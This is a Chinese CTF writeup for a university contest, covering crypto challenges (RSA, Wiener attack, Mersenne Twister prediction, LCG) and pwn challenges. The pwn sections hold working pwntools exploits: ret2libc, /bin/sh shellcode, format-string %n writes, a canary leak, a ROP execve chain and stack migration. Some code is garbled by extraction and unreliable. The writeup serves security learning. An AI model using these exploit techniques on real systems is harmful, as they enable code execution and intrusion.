Writeup

----by shimakaze17900

1:签个到叭

没什么好说的,想提升效率可以用CTRL C+V代替打字

2:B627

当时琢磨了好久这道题,后面才知道那个红色箭头在线下的实验室里...

3:IP地址

打开cmd,ping一下主站的网址,就能看到ip

4:Let's Minecraft!!!

我得承认,这题不是我独立解出的,因为我电脑上没有1.20的mc...

将存档文件复制到对应的文件夹,打开游戏,用控制台切成创造,飞起来就能看到flag的二维码.

5:像素,和红色

下载附件,可以发现是一个扭曲的,被涂色,切片后重新拼起来的二维码.

用ps把图片修好,从网上随便找个二维码把定位的那个小方块复制过去,然后向欧姆弥赛亚祈祷,希望误差在二维码的抗干扰能力的范围之内.

一共三个二维码,对应被切成了三段的flag

6:正能量!

到网络上找解码工具:社会主义核心价值观-与佛论禅-与熊论道-忘了叫什么名字-base64(希望我没记错)

7:内网网盘

访问内网网盘.

8:腾张

题目的内容只有两种字符,可以猜测是二进制编码.

自己写个脚本完成转换:

```
from Crypto.Util.number import *
腾张张腾腾腾腾张腾腾张腾腾腾腾张腾张张腾腾腾张腾张张张张腾腾腾腾光腾张张张腾腾腾光腾张张张张腾腾腾腾张腾张腾
腾腾张腾张张腾腾腾张腾张张张腾腾腾腾腾张腾张张张腾腾腾张腾张张张腾腾腾张腾张张腾腾腾张腾张张腾腾腾
腾张张张腾腾腾张腾张张张腾腾腾张腾张腾张张张腾腾腾张腾张张张腾腾腾张腾张腾张腾**
st2=""
for i in range(len(st1)):
if st1[i]=='张':
 st2+='1'
if st1[i]=='腾':
 st2+='0'
print(st2)
001110100011101000111010001111101
1110001011100010111000101110000010
print(long_to_bytes(st2))
```

9:Easy_python-01

由题目代码可知data1 = m^gift1-data2^gift2,因此m=data1^gift1-data2^gift2,再通过 long_to_bytes(m)得到flag的值

代码:

```
from Crypto.Util.number import *
data2 = 31819232088334746123952271749818784329225923320986
gift1 = 138758220286166721891673270499718223010161242007888
gift2 = 177197098444390046410138581405211760920817835272230
data1 = 126383135051602831857024849487930881023615412820973
m=data1^gift1-data2^gift2
flag=long_to_bytes(m)
print(flag)
```

10:random-01

在seed不变的情况下,程序输出的随机数总是相同.所以我们只需要把原程序的randbits*-1就能完成解密.

```
from random import *
from libnum import *
c=642921858775401459987470713034585765895107497915190738961849
seed(s2n('hello'))

flag = sum([c]+[getrandbits(16)*-1 for _ in "`1234567890-=~!@#$%^&*()_+"])
flag=n2s(flag)
print(flag)
```

11:random-02

这题并不需要理解print($[__(_(_)]$) for _ in range(-9,-1)])是什么意思,我们只需要找到一个正确的 seed,使这个语句输出与样例相同的结果即可.

我使用了一个for循环遍历了[1,256],最后发现seed为187.

然后把m放回去再异或一次就行

代码:

```
from random import *
from libnum import *

_ = abs
_ = getrandbits
seed(187)
print([__(_(_)) for _ in range(-9,-1)])
m=33357858782165090441173448630220689780720665629999763
print(n2s(m^getrandbits(m.bit_length())))

# [179, 210, 60, 51, 18, 2, 4, 3]
# 33357858782165090441173448630220689780720665629999763
```

12:random-03

这题的seed范围很大,暴力在性价比上不如用付电费的钱给出题的学长买瓶可乐.

于是我上网进行搜索,发现getrandbits使用的算法叫梅森旋转算法,只要我能得到足够的数据量,我是可以预测它的输出的.在这种情况下,我当然应该自己去写个 算法----才怪.

都用python了,谁还自己写算法啊,当然是去调用第三方库啦

于是,搜索引擎不负众望地找到了一个叫做randcrack的库,它只需要624个32位的随机数就可以完成对getrandbits的爆破.

嗯?

```
for i in range(624):
file.write(str(getrandbits(32))+"\n")
```

那么我们就顺利地解出了这道题.

```
from random import *
from hashlib import *
from randcrack import *
rc=RandCrack()
with open("イ尔 女子", 'rb') as file:
    for i in range(624):
        line=file.readline()
        rc.submit(int(line))
#print(rc.predict_getrandbits(32))
rn=rc.predict_getrandbits(32)
print('nsilab{' + md5(str(rn).encode()).hexdigest() + "}")
#1442539846
```

13:random-04

这题把32位整数换成了一些64位和96位整数,从长度上来说甚至还多了点.

但问题在于randcrack的胃口还挺叼,你只能喂给它32位整数,还只能喂624个,多了和少了都不行.

于是我们查了些资料.发现getrandbits获取64位整数和把两个32位整数简单地首尾衔接没什么区别,于是我们把数据的形式稍微转换一下,去掉一些多余的数据, 喂给randcrack就行了

但在实际操作中,我碰到了一个问题:我坚定地认为96=32*4,导致我被卡了半天

```
from random import *
from hashlib import *

with open("身坚志残","w") as file:
    for i in range(100):
        file.write(str(getrandbits(64))+"\n")
    for i in range(100):
        file.write(str(getrandbits(64))+"\n")

for i in range(100):
        file.write(str(getrandbits(96))+"\n")

flag = 'nsilab{' + md5(str(getrandbits(32)).encode()).hexdigest() + "}"

print(flag)
```

14:基

没啥印象了,应该是base64

15:罗马的一个皇帝

字面意思,凯撒加密

16:初来乍到

看完文章获取flag

17:RSA-00

Flag就写在题目里,我把视频丢进收藏以后就把它忘了...后面学长提醒我看视频都没想起来

18:RSA-01

```
给了p,q,直接把d算出来即可.
19:0VO
  在GitHub上可以找到解密工具
20:爱国
  社会主义核心价值观编码
21:RSA入门-01
  flag在题目里
22:RSA入门-02
  直接算出来就行
23:RSA入门-03
  phi=(p-1)(q-1)
  d=inverse(e,phi)
24:Fence
  加密方式就是题目的名字
25:Fence2
  栅栏加密的一种变种
26:random-05
  少了一个,怎么办呢?
  于是我找了另一个库:MT19937Predictor
  它甚至不需要你转换数字的长度,而且也没有624个的硬性要求(大概在数量不满足的情况下准确率会
低一点,不过把这题解出来是没问题的)
27:Easy_python-02
  将flag换成一串已知顺序的不重复字符,就能得到seed(2024)情况下shuffle的重排方式.
  代码:
 import random
 #from xiabiande import flag
```

```
import random
#from xiabiande import flag

random.seed(2024)
tup1=(0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18)
m=list(tup1)
#print(m)
#m = list(flag)
random.shuffle(m)
#print(m)
#print(bytes(m))  # b'n_xszeiclrai}yn{abd'
a=[''for i in range(19)]
str1='n_xszeiclrai}yn{abd'
for i in range(19):
    a[m[i]]=str1[i]
```

```
for i in range(19):
    print(a[i],end='')
```

28:RSA-02-FactorMe

暴力(不过当时我应该是直接上网找的质数分解器)

代码:

```
from Crypto.Util.number import *
p = 173959611786153317706301267932417363937
q = 247839891815273718588039400253940099247
e = 65537
n = p*q
c=9238164112105252409917439007600050016039975407551321496401161303034206220059
phi=(p-1)*(q-1)
d=inverse(e,phi)
#print(d)
m=pow(c,d,n)
print(long_to_bytes(m))
```

29:RSA-03-What's dp?

从这题开始要数学推导了.

推导过程:

```
dp=d\%(p-1)
d=k1*(p-1)+dp
\nabla \cdot \cdot \cdot e^*d=1 (\text{mod phi})
\cdot \cdot \cdot e^*d=\text{phi}*k2+1
d^*e=(p-1)*(q-1)*k2+1
(k1*(p-1)+dp)*e=(p-1)*(q-1)*k2+1
k1*(p-1)*e+dp*e=(p-1)*(q-1)*k2+1
(k1*e)*(p-1)+dp*e=((q-1)*k2)*(p-1)+1
dp^*e-1=((q-1)*k2-(k1*e))*(p-1)
dp^*e-1=k3*(p-1)
```

然后暴力把p枚举出来就行

```
from Crypto.Util.number import *
e = 65537
fl=False #这个变量似乎是没有用的,不过既然程序还能跑,我就没去管它
c=5406785050213596545843378259595778132915940520756755622604661184046384599207215
121686960549615761683343185821179312180648542220786305721624760556080816308717243
944063065393928451712531172946351989096864150233717509223654191024620532319035952
0498492918402151696789782204680037415122531903576827887515350582773
```

```
747064521422919393797625550938775586170292576879350708095714342594345290589272519
719406673733496986895146045501373161250445531135597047876886248594048016224656759
6730740865412117015455666417984922003149322911442816515260735438961
dp=368084059908734530084266122679478258356424975349506583024302080369422248032227
5682014052470815331984412204716610467481993319742960390066518162363152094859
p=0
q=0
for i in range(1,e):
   if (dp*e-1)\%i==0:
       pp=(dp*e-1)/(i+1)
       if n\%(pp) == 0:
          p=(pp)
          q=n//p
print(p,q)
phi=(p-1)*(q-1)
print(phi)
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
```

30:RSA-04-Wiener Attack

去网上找了个求连分数的函数,后面才知道sage似乎有更方便的连分数功能...

代码

```
from Crypto.Util.number import *
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes
def transform(x,y): #使用辗转相处将分数 x/y 转为连分数的形式
   res=[]
   while y:
       res.append(x//y)
       x, y=y, x\%y
   return res
def continued_fraction(sub_res):
   numerator, denominator=1,0
                          #从sublist的后面往前循环
   for i in sub_res[::-1]:
       denominator, numerator=numerator, i*numerator+denominator
   return denominator, numerator #得到渐进分数的分母和分子,并返回
#求解每个渐进分数
def sub_fraction(x,y):
   res=transform(x,y)
   res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res))))) #将连
分数的结果逐一截取以求渐进分数
   return res
def get_pq(a,b,c): #由p+q和pq的值通过维达定理来求解p和q
```

```
par=gmpy2.isqrt(b*b-4*a*c) #由上述可得,开根号一定是整数,因为有解
   x1,x2=(-b+par)//(2*a),(-b-par)//(2*a)
   return x1,x2
def wienerAttack(e,n):
   for (d,k) in sub_fraction(e,n):
       if k==0:
           continue
       if (e*d-1)%k!=0:
           continue
       phi=(e*d-1)//k
       px,qy=get_pq(1,n-phi+1,n)
       if px*qy==n:
           p,q=abs(int(px)),abs(int(qy))
           d=gmpy2.invert(e,(p-1)*(q-1))
           return d
\textbf{c} = 9127240962638288015946969916544495254706406108892038714346511414209533677874162
365122442149136640670665042946936854137459498759483278705379918741742825010730073
107150387263006458978443039427445323756013698827749819446811178700927242889192753
8709383631133249204443424534634251119499453126306833523720451444862
508176919967554293129216286005683661199925420111750973433538725574832886278144116
106504706047796535754627660158373729328414809108968536935895697976626940668054142
9233771028508368914059024366964354422042400891492079586342909145207
\mathbf{e} = 9841016065574679390165657188020062298089019972296761162715012471627634070206986
850712547334267676978122406321772274947289915907106287824777605868245143448588895
398439142908881154225138192530947870322850613727512573687861664511816756852039222
949881127104232161170101382013541328664646284087677704850478116427
d=wienerAttack(e,n)
print(d)
m=pow(c,d,n)
print(long_to_bytes(m))
```

31:RSA-05-EasyGCD

这题的解法就写在它的名字里(虽然之前几题也是).求n和r的最大公约数,就能得到 p.

```
from Crypto.Util.number import *
from Crypto.Util.number import *
from capstone import *
\textbf{c=}7636091328474514751482227541978971487280055867954310744283522663275779266932591
438682194991023011027874661629216152596938440913154099820773708210809543655587371
294541805174849744534046679899803254163648914273518561343143716017915843352808007
6056791138377445065137204159490482565354171030731620178138383445651\\
n = 1064072900289932769617961646879433514231849793202601415635567677834447613431221
327918218763325559769798982048654789286636983006221339762472973318999653733367348
182151639183722784779264794248198625612349800855107404152554166991272971952376386
44129386199732714962966059191441518970899663140344550779010447446721
gift=8698692742614370917483923903392585461029687288598029347143073727414903706059
791553263757159113950241216401173630341300044910258181464134788534300305390036384
1503646580777689534071974496917642057837508818255963674089295193437323
e = 65537
p=GCD(n,gift)
q=n//p
phi=(p-1)*(q-1)
d=inverse(e, phi)
print(long_to_bytes(pow(c,d,n)))
```

32:RSA-EasyMaths-01

推导过程:

```
leak=r^(n-p)%n
leak=(r^(n-p-q+1)*r^(q-1))%n
leak=(r^phi*r^(q-1))%n
leak=((r^phi%n)*(r^(q-1)%n))%n
leak=r^(q-1)%n
leak+k*n=r^(q-1)
(leak+k*n)%q=1
leak%q=1
```

小技巧:在推导过程中,可以把得到的中间表达式塞到程序里print出来,看看结果是不是True.

小知识:(p-1)(q-1)!=pq-p-q-1

33:RSA-EasyMaths-02

由题目代码可知n是由数个20位(b)质数的1~10次的乘积得来的.所以我们只要把它丢给sagemath,就可以轻松地拿到phi,算出d,得到flag.

另外flag是 You_can_use_the_function_"euler_phi"_in_Sage_to_solve_the_problem,有一种 steam下载教程在steam中发售的感觉...

34:RSA-EasyMaths-03

推导过程:

```
a=(p+q)^e%(p*q)(已知)
```

```
将(p+q)^e打开,得到(p^e+p^(e-1)*q.....+p*q^(e-1)+q^e)
所以 a=(p^e+q^e)%(p*q)
同理得 b=(p^e+r^e)%(p*r)
a+k1*p*q=p^e+q^e
b+k2*p*q=p^e+r^e
可以注意到两者结构的相似性,因此将它们模p
a%p=q^e%p
b%p=r^e%p
类似的,对于c和d
c\%p=(q+e)\%p
d\%p=(r+e)\%p
所以,对于a,c,有
a=q^e+k1p
c=q+e+k2p
将q以c-e-k2p换元,得
a=(c-e-k2p)^e+k1p
a=(c-e)^e+k3p
同理得
b=(d-e)^e+k4p
将a-(c-e)^e与b-(d-e)^e取最大公约数,再进行分解质因数,最大的因子即为p(本题可以直接得到p
然后...
我就不知道怎么做了
总之上个暴力,把q,r给求出来,然后解密得到flag
```

```
a = 2957109802091157231917953974484722481602320601050922263815199759358042959821634
617761456112010266085856577690526271694000851023868441040549024490173299844
160757602563061558246241176583609908674047831887907279729940120673975039219
\textbf{c} \hspace{-0.05cm}=\hspace{-0.05cm}8383725056164699216959728114079996894756892672177712870689277664940138379132574
34228883558056715007213286736811794421389933982263139981903828828165778527
e = 521
437102115115820950609685049119524791013340522693300792477735444952984844836067260
14360166347866203759489573162368928071963292394176092411588418291923483
p=(GCD(((c-e)\wedge e-a),((d-e)\wedge e-b)))
#p=75921896243638207367498498538471499304331898182007146339452864009333290612847
```

```
#print(factor(7592189624363820736749849853847149930433189818200714633945286400933
3290612847))
i=0
num=0
r_lis=[]
q_lis=[]
print(0)
while num<100:
   q=c\%p-e+i*p
   if (a-q**e)%p==0:
       if is_prime(q):
           q_lis.append(q)
           num+=1
    i+=1
num=0
i=0
print(1) #这是我担心寻找100个可能的素数需要太长时间(长期素数导致的),让它print点东西出来以告诉
我程序并没有卡死.
while num<100:
    r=d\%p-e+i*p
   if (b-r**e)%p==0:
       if is_prime(r):
           r_lis.append(r)
           num+=1
   i+=1
print(2)
for _ in range(100):
    for \_ in range(100):
       if (q_lis[_])*(r_lis[__])==n/p:
           print(q_lis[_])
           print(r_lis[__])
           break
```

35:RSA-06-guess e

下载附件,打开,看到代码,进行san check 1d100

既然这题似乎不打算让你看代码,那么我们就让它跑几次.可以发现,n一直在变,而c却保持不变.说明这题的c小于n.既然如此,c=m^e

然后枚举e即可.

```
c=1183980721957516912802590629076237592028932853894008888348766522046735860030413
865452543904765980192132449113792228109892193952020295145498757272660295993374349
685349
for i in range(2,100):
    root=c^(1/i)
    if root==int(root):
        print(root)
print("finish!")
```

这题使用了一种叫做AES的对称加密方法.不过这似乎不是重点.重点在于我们需要通过lcg迭代了10次后的seed来推出原始的seed.

推导:

```
seed[i+1]=(a*seed[i]+b)%n

seed[i+1]=a*seed[i]+b

seed[i+1]*inv_a=(a*inv_a*seed[i])%n+b%n

(seed[i+1]%n*inv_a)%n-b%n=seed[i]%n
```

循环十次,得到seed%n

由seed = bytes_to_long(key)判断真实的seed(也就是说,seed long_to_bytes后应该是有意义的) 然后使用AES解密即可.

代码:

```
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, getPrime, long_to_bytes,inverse
from libnum import n2s
#from Crypto.Util.number import *
a = 114167812651813059186748497773473179659
b = 127671908870296230268346586827480122883
n = 88552801060192675240413524892463554983
final_seed = 4988758612616782951355214118975600429
inv_a=inverse(a,n)
seed = final_seed
for _ in range(10):
    seed = (seed - b) * inv_a % n
#计算seed
print(seed)
seed+=n
key=long_to_bytes(seed)
print(key)
ceshi_seed=seed
for i in range(10):
    ceshi_seed = (a*ceshi_seed+b)%n
print(ceshi_seed==final_seed)
#验证seed
iv = b"prprprprprprprpr"
c=b'SIc\x10\xa9\_\xdbRL:/\xa4\xa6^\x00\xda'
cipher=AES.new(n2s(seed),AES.MODE_CBC,iv)
flag=cipher.decrypt(c)
print(flag)
```

37:RSA-07-77777

这题的p相当于m,那么phi就是p-1,d=inverse(e,phi)然后正常解密即可.

代码:

```
from Crypto.Util.number import *

p=1301058568974190315168588600464591500186716953998554778503216395369432903883162
3078206412820369499486977333668124172837440347481188591598838443858154337199
c=3593045066142184987047404558044995383703255222441788477035737413975961627477352
982966036082752372693122136522869577727257289346839082937474502184266277130
e=16807

phi=p-1
d=inverse(e,phi)
m=pow(c,d,p)
print(long_to_bytes(m))
```

38:easy_64

和32位应该没啥区别.

39:test_nc

用ncat连上去,然后发个cat flag应该就行

40:easy_32

32位栈溢出,用IDA找到函数的地址,写到返回地址里.函数在执行lea操作时会让rsp跑到返回地址上方,然后用pop rbp让rsp在rbp跳到不知道哪里去的同时指向 我们用溢出覆盖掉的返回地址.然后函数在执行ret时就会去执行system.

41:real_test_nc

用ncat直接连上去就行

42:神秘数字

通过int溢出使等式成立

43:小学计算题

琪露诺的完美算数教室.mp4

先用ncat连一下,发现都是两位数和两位数进行四则运算,简单的写个截取a,b,运算符的函数,然后把它算出来发回去,重复100次,然后cat flag

```
if ch>='0' and ch<='9' and got1==False:
            a=a*10+int(ch)
        elif ch>='0' and ch<='9' and got1==True:
            b=b*10+int(ch)
        else:
            fh=ch
            qot1=True
    if fh=="+":
        return int(a+b)
    if fh=="-":
        return int(a-b)
    if fh=="*":
        return int(a*b)
    if fh=="/":
        return int(a/b)
r=remote("contest.ctf.nefu.edu.cn",33058)
ans=0
ans1=""
for i in range(100):
    st1=str(r.recvline())
   print(st1)
   ans=jisuan(st1)
   if ans<0:
        ans1="-"+str(ans*-1)
    else:
        ans1=str(ans)
    r.sendline(bytes(ans1, encoding = "utf8"))
    print(ans1)
r.sendline(bytes("cat flag", encoding = "utf8"))
print(r.recvline())
print(r.recvline())
print(r.recvline())
#bytes('ls',encoding = "utf8")
r.interactive()
```

44:no_binsh_64

64位栈溢出,与之前的区别在于需要用寄存器传入/bin/sh的地址给_system使用.另外注意栈对齐.

45:no_binsh_32

和64位的主要区别在于不需要寄存器传参了,参数直接跟在函数后面就行.

46:real_no_64

这题题目程序中没有了/bin/sh字符串,但是system依旧存在,所以我们可以使用read函数向某一处地址写入/bin/sh,然后以这个地址为参数调用system

```
#从这题开始,我用了网盘里配好环境的虚拟机
from capstone import *
_backdoor=0x40123E
pop_rdi=0x401238
```

```
pop_rsi=0x40123a
_system=0x401080
s=0x403490
_read=0x401090
pop_rdx=0x40123C
_ret=0x40101A
from pwn import *
context(os='linux',log_level = 'debug')
#r=remote("contest.ctf.nefu.edu.cn",33308)
r=process("./pwn")
gdb.attach(r)
pause()
payload = b'a'*40 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(s) + p64(pop_rdx) + p64(255) + p64(25) + p64(255) + p64(
(\_read)+p64(pop\_rdi)+p64(s)+p64(\_system)
r.recvuntil("one \n")
r.sendline(payload)
#pause()
r.sendline(b'/bin/sh')
r.interactive()
```

47:real_no_32

应该和real_no_64没有太大的区别

代码:

```
from pwn import *
#system 80490B0
#need_len=32
#s=804B37C
#read=8049090
#ret=0x804900e
payload=b'a'*32+p32(0x8049090)+p32(0x8049080)+p32(0)+p32(0x804B37C)+p32(255)+p32(
0x804B37C)
#r=remote("contest.ctf.nefu.edu.cn",33328)
r=process("./pwn")
gdb.attach(r)
pause()
print(r.recvuntil("e \n"))
r.sendline(payload)
r.sendline(b'/bin/sh')
r.interactive()
```

48:noting_in_64

这题连system都没了,所以需要先调用put泄露一个函数的地址.(这里我泄露的是put),然后用获得的put地址减去从libc中获得的地址,得到的就是libc基址.然后用它加上system在libc中的地址,就是我们在第二段payload中使用的system地址.

在第一段payload的最后加上main的地址,让第一段payload执行完后程序再次执行main,以读入第二段payload

```
from pwn import *
r=remote("contest.ctf.nefu.edu.cn",33322)
libc=ELF("./libc.so.6")
#context(os='linux', arch='amd64')
#r=process("./pwn")
#qdb.attach(r)
#pause()
rdi_loc=0x401218
main_loc=0x40121E
puts_got=0x4033d8
puts_plt=0x401060
r.recvuntil("e \n")
payload = b'a'*40+p64(rdi_loc)+p64(puts_got)+p64(puts_plt)+p64(main_loc)
r.sendline(payload)
puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))
bas_loc=puts_real-libc.sym['puts']
sys_loc=libc.sym['system']+bas_loc
binsh_loc=libc.search("/bin/sh").next()+bas_loc
payload=b'a'*40+p64(rdi_loc)+p64(binsh_loc)+p64(sys_loc)
print(r.recvuntil("e \n"))
r.send(payload)
r.interactive()
```

49:shellcode_level1

这题能读入的长度只有0x10,所以只能执行syscall 0,利用寄存器内现存的一部分参数读入第二段 payload.

由于第一个payload执行完以后,r程序会从0x20240000+0x10的地方继续执行,但是payload2依旧是从0x20240000开始读入,所以在payload2之前加上10个 nop(当然可以更多一点),让程序能够完整的执行 payload2.

```
#read:0
from pwn import *
context(os='linux', arch='amd64')
shellcode = asm('''
mov rdx,100
xor rax,rax
syscall
''')

payload=shellcode
#r=remote("contest.ctf.nefu.edu.cn",32883)
r=process('./pwn')
gdb.attach(r)
pause()
print(r.recvuntil('e\n'))
```

```
r.send(payload)
#payload2=asm(shellcraft.sh())
payload2=asm('''
    nop
    mov rbx, 0x0068732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 59
    pop rax
    syscal1
('''
r.send(payload2)
r.interactive()
```

50:printf_0

printf的格式化字符串可以打印对应的参数,但是当参数不存在时,它会到寄存器和栈里去找参数. 而%x\$则可以选择第x个参数,所以可以任意泄露栈内的信息.

这题没写代码,手动完成的操作.

51:print_1

printf格式化字符串还有一个参数:%n.它会取消本次参数对应的输出,然后向本次参数(一个地址)内写入已经输出过的字符数,

对于本题而言,我们只需找到格式化字符串存储的位置所对应的参数个数x,然后构造payload为需要修改的变量的地址+%yc(将已经输出的字符数控制为我们需要的数量,本题需要10,因此y为10-4(p32()后数字的长度)=6)+%x\$n

```
from pwn import *
#flag:0x804B370
#buf:6
payload=p32(0x0804B370)+"%6c%6$n"
p=remote("contest.ctf.nefu.edu.cn",33324)
print(p.recv())
p.sendline(payload)
p.interactive()
```

52:Hello_gdb

似乎只是用来练习gdb的使用的,或许用IDA来写也行.

代码:

```
from pwn import *
r=remote("contest.ctf.nefu.edu.cn",33844)
payload=b"hello world"
r.sendline(payload)
r.sendline(b"cat flag")
print(r.recv())
print(r.recv())
```

53:canary_and_pie

第一个payload用sendline的换行符覆盖掉buf末尾的/x0,让puts把canary给输出出来,减去换行符的0xa就能得到正确的canary.在等下构造第二段payload的时 候把它塞回栈底,就能绕过canary.

至于pie,这题似乎没有泄露地址的操作空间,所以用部分写入抽卡.6.25%的出货率,很难想象哪个抽卡手游能这么良心.

```
from pwn import *
    r=remote("contest.ctf.nefu.edu.cn",32814)

#r=process("./pwn")
#gdb.attach(r)
#pause()

payload=b"a"*8
    r.sendline(payload)
    r.recvuntil("aaaaaaaa")
    ch=u64(r.recv(8))-0xa
#r.recv()
payload=b"a"*8+p64(ch)+b"a"*8+"\xc9\x71"
    r.send(payload)
    r.interactive()

#r.send("cat flag")
#print(r.recv())
```

ROPgadget --binary static_compilation --ropchain

它能帮我们把shellcode给构造出来.

```
from pwn import *
from struct import *
p = b''
p += pack('<Q', 0x0000000000409fae) # pop rsi ; ret</pre>
p += pack('<Q', 0x00000000004c50e0) # @ .data</pre>
p += pack('<Q', 0x000000000448167) # pop rax ; ret</pre>
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409fae) # pop rsi ; ret</pre>
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8</pre>
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f3f) # pop rdi ; ret</pre>
p += pack('<Q', 0x0000000004c50e0) # @ .data</pre>
p += pack('<Q', 0x0000000000409fae) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8</pre>
p += pack('<Q', 0x000000000047f2eb) # pop rdx ; pop rbx ; ret</pre>
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8</pre>
p += pack('<Q', 0x41414141414141) # padding
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) \# add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
```

```
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) \# add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) \# add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret</pre>
p += pack('<Q', 0x0000000000401cf4) # syscall</pre>
r=remote("contest.ctf.nefu.edu.cn",32846)
r.send(b"a"*(0x48)+p)
r.interactive()
```

55:stack_migration

64位栈迁移.

由于system在执行时需要很大很大(真的很大!)的栈空间,所以我们将栈迁移到bss+0xE00,然后调用system("/bin/sh")即可.

```
from pwn import *
bin_add=0x404050
sys_add=0x401090
learet_add=0x401122a
rdi_add=0x4011d8
bss_add=0x404060+0xE00
read_add=0x4010B0
vuln_read_add=0x40120E
gif2_add=0x4011D0
puts_plt=0x401080
puts_got=0x404018
```

```
subrsp_add=0x4011E5
rsi0_add=0x118f32
rdx0_add=0xabc86
main_add=0x401291
rbp_add=0x40119d
payload=b'a'*0x20+p64(bss_add+0x20)+p64(vuln_read_add)
r=remote("contest.ctf.nefu.edu.cn",33182)
#libc=ELF("./libc.so.6")
#r=process('./pwn')
#gdb.attach(r)
#pause()
r.recv()
r.send(payload)
